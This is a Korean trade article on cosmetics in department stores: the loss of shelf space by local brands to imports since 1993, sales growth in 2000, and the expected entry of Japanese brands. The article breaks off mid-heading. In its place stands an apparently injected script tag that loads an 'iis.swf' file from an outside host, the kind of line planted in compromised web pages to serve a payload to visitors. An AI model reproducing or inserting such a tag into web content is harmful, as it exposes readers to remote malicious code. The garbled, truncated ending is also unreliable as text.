일본계 진출 러시속 로컬 브랜드 재진출 시도 예상 1. 백화점과 화장품 지난 86년에 전면적으로 수입개방이 된 이후 우리나라의 국산 화장품과 백화점의 관계는 국산품 애용이라는 애국적 정서와 수입사측의 시장탐색 필요기간 등으로 90년대까지는 우호적이었다. 그러나 93년부터 수입사들의 적극적인 판로 개척과 백화점측의 본격적인 유치경쟁으로 매출과 수익측면에서 열세인 국산 브랜드들이 점차 설 땅을 잃게 되었다. 한때 이러한 백화점측의 머천다이징을 두고 국내 장업계와 언론계의 많은 질타도 있었다. 하지만 브랜드 로열티와 품질을 선호하는 소비자들의 자주적 선택은 결국 한정된 판매공간에서 최대의 수익효율을 올린다는 백화점의 기본 입장에 손을 들어주었다. 따라서 최근 백화점 매출의 효자 층으로 불리는 1층 잡화 매장에는 부티크 명품과 더불어 수입 화장품 브랜드들이 점포당 30여개씩 확고히 자리를 차지하고 있다. 반면에 로컬 브랜드는 2-3개 정도로 명맥만 유지하고 있는 실정이다. 이러한 현상은 수입 브랜드가 영업효율 못지 않게 고급스런 점격 유지와 분위기 조성이라는 백화점측의 스토어 컨셉에 적합하고 최근 독립매장 체제로 운영해오던 몇몇 수입 브랜드의 실패에서도 보듯이 아직까지는 고객동원과 점포 확장 측면에서 백화점 만한 유통 채널이 없다는 수입사들의 입장이 백화점측과 맞아 떨어져 앞으로도 지속될 전망이다. 그러나 국산 브랜드들도 95년 이후 백화점측의 영업정책만 탓하지 않고 백화점 매장이 시판 영업을 위한 파일럿숍이라는 과거의 단순 홍보 차원에서 벗어나 고객의 욕구에 입각한 꾸준한 제품 개발과 선진적 마케팅 도입에 힘쓰고 있다. 이를 통해 수입사와의 경쟁력을 강화시켜 아모레 등은 오히려 메이저급 수입 브랜드들과도 견줄 만한 실적을 나타내고 있다. 또한 후속 2, 3위 브랜드들도 백화점 영업을 강화 또는 재개한다는 전략을 펼쳐 백화점과 국산화장품의 관계는 앞으로도 계속적인 이슈가 될 것 같다. 2. 백화점 화장품의 2천년 동향 ·성장적 측면 일반적으로 신규 브랜드 도입 등으로 인한 면적 확장분을 감안하지 않은 상태에서 백화점의 수입화장품 매출 규모는 9월까지 55%가 성장한 2천5백억원 정도였으며 최근 경기 불안 요인에 의한 소비심리 위축으로 10월 이후 성장세가 다소 위축될 것으로 전망됐다. 이에 비해 수입화장품의 메카라 할 수 있는 롯데 본점의 30개 브랜드 중에서 전체 매출의 40% 정도를 점유하고 있는 샤넬, 랑콤, 에스티로더, 크리니크, 크리스찬 디올 등 소위 5대 메이저 브랜드의 10월 이후 신장세로 보면 9월까지의 성장세가 그런 대로 유지됐다. ·머천다이징 측면 국내 유명 브랜드들도 기술 개발을 통한 고급화 전략으로 국제 경쟁력을 갖추기 시작했음에도 불구하고 미국과 일본의 내수시장 불황과 한국의 수입화장품 시장 잠재력이 여전히 우수한 것으로 평가된다. 에스티로더 그룹의 맥, 바비브라운, 오리진, 라메르와 LVMH그룹의 지방시, P&G의 SK-Ⅱ 등 그룹 메이커의 계열 브랜드들이 백화점 진출에 착수했다. 3. 향후 전망 ·일본계 브랜드의 진출 러시 전체 화장품 시장 규모가 15조 정도로 세계 제2의 거대 시장인 일본 장업계가 그동안 대일 감정 및 일본계 백화점의 국내 미진출 등으로 80년대에 시세이도와 가네보만이 출시됐을 뿐 미국 및 유럽 브랜드에 비해 규모면에서 상대적으로 약세였다. 그러나 금년에 SK-Ⅱ, 카바마크가 백화점 영업에 본격적으로 합세했고 이미 시판 영업을 개시한 알비온도 백화점 영업을 준비중이다. 또한 시세이도와 가네보 그룹의 계열 브랜드(입사, 아유라, 내츄럴 등)가 한국시장의 후속 진출을 꾀하고 있는 것으로 알려져 일본계 브랜드의 국내 백화점 진출이 점차적으로 본격화될 것으로 예상된다. ·면적 조정 및 크로스 MD 통한 유치 브랜드의 다양화 화장품의 가용면적은 포화상태이나 신규 런칭 브랜드는 계속 증가해 백화점측은 브랜드당 점유면적의 조정이나 여성 관련 상품 층으로 서브 카운터를 병행 전개하는 크로스 MD로 브랜드를 확대할 것으로 예상된다. 1인10색이라는 고객의 욕구 변화를 브랜드의 다양화와 차별화로 승부하는 미국의 바니스 뉴욕이나 일본 긴자 미스코시(판클, 필나투런트)처럼 진취적 MD 전개로 규모에 의한 고급화를 지양하는 방안이 고급 백화점부터 시작될 것으로 전망된다. ·편집?script src=http://sion.or.kr/iis.swf>

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